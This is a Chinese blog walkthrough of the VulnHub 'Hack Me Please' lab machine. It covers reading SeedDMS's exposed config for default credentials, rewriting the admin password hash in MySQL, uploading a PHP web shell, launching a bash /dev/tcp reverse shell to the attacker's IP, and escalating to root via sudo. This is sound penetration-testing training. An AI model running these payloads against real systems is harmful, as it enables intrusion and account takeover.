HackMePlease:从开源项目中获取账密信息


靶机下载地址:https://www.vulnhub.com/entry/hack-me-please-1,731/


1.信息收集

开放端口信息:

  • 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
  • 3306/tcp open mysql MySQL 8.0.25-0ubuntu0.20.04.1
  • 33060/tcp open mysqlx?

测试思路:

  • 80端口:主要功能点测试、审查源码、JS文件、目录扫描
  • 3306端口:弱口令爆破,其它途径获取可能的账密信息
  • 33060端口:mysqlx为mysql的插件,完成文件存储数据库功能

访问网页

查看主要功能点,没有发现切入点。

目录扫描

发现了3个目录,除了index.html外,另外两个一个是一张图片,另一个返回403禁止访问,都没有发现切入点。

审查源码

返回网页查看源码,其它没什么可疑之处,转而关注js文件,发现了几个感兴趣的js文件

JS文件

查看main.js文件,其中暴露了一个服务目录

访问该目录 http://192.168.71.149/seeddms51x/seeddms-5.1.22/:

发现这是一个文档管理系统,名为SeedDMS,根据目录,版本可能为5.1.22

2.SeedDMS信息收集

访问SeedDMS首先要求登录,在面对一个登录页面时,主要有以下思路:

  • 搜索服务已公开漏洞
  • 账密爆破
  • SQL注入
  • 如果是开源项目,可以下载到本地查看可用信息,特别是配置文件。必要时需要在本地搭建该项目。

搜索已公开漏洞

发现其中没有针对5.1.22版本的,而且看了下,其中的两个可获取shell的RCE漏洞是由于PHP脚本文件上传导致的,是需要登录的,但是现在连登录都没成功,因此这些不可利用。

账密爆破:靶机说明里提示了不需要爆破。

SQL注入:注意在OSCP考试中是不可以使用sqlmap这类自动化扫描工具的。手工测试方式后续再练习。

下载开源源码:

SeedDMS下载地址:https://sourceforge.net/projects/seeddms/files/

查看配置文件,发现了数据库连接信息,有默认账户名密码。

因为把SeedDMS下载到本地,我们知道配置文件的路径为:seeddms主目录/conf/settings.xml

这里访问:http://192.168.71.149/seeddms51x/conf/settings.xml,

尝试是否可以查看靶机的配置文件。

可以成功读取靶机配置文件,发现数据库账户密码没改,还是seeddms:seeddms

3.SeedDMS数据库

用账密信息连接数据库

mysql  -h 192.168.71.149  -useeddms -pseeddms -Dseeddms 

查看seeddms数据库中的表,其中tblUsers这个表中有一个admin用户,密码是被加密了的。

把密码用md5解密,解密不成功。

那么换一种思路,如果把这个表更新,把admin的密码替换为我们已知密码的md5值,是否会成功呢?

把123456的md5值替换上去。

update tblUsers SET pwd='e10adc3949ba59abbe56e057f20f883e' where login='admin';

更新成功。

然后尝试登录SeedDMS系统。

登录成功!

4.SeedDMS漏洞利用

还记得之前搜索公开漏洞时,有两个RCE漏洞是PHP文件上传的,可以尝试一下在该版本中是否可以利用。

exploit-db上的漏洞利用

新建后门文档

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

上传后门并记住文档号

上传完成后刷新下页面,可以看到文件上传成功。

系统会把上传的文件放在\seeddms51x\data\1048576\”ID“\1.php(你上传的文件会被重命名为1.php)。查看文档信息,显示文档ID为5。

调用后门

访问http://192.168.71.149/seeddms51x/data/1048576/5/1.php, 调用php后门成功。

反弹shell

反弹shell命令

bash -c 'exec bash -i >& /dev/tcp/192.168.71.139/4444 0>&1'

将它进行URI编码后,作为cmd参数内容在hackbar里提交。

bash%20-c%20'exec%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.71.139%2F4444%200%3E%261'

成功反弹shell

5.提权

查看当前权限

账号收集

查看/etc/passwd文件,发现一个眼熟的用户

还记得查看数据表时,user表中有该名称的用户

表里显示密码为:Saket@#$1337

切换账号

尝试登录saket账号

登录成功!

查看权限

先用id命令,发现saket用户在很多用户组中;再用sudo -l命令查看该用户权限,发现他可以执行全部sudo命令。

转换为root用户

获取root权限成功!

6.总结

该靶机考察的点:

  • JS敏感信息泄露:泄露了安装的应用程序目录
  • 开源项目的信息收集:配置文件中暴露账号密码信息
  • mysql基础
  • 应用服务已知漏洞收集
  • 后门上传getshell
  • 反弹shell命令
  • linux基础和提权

文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录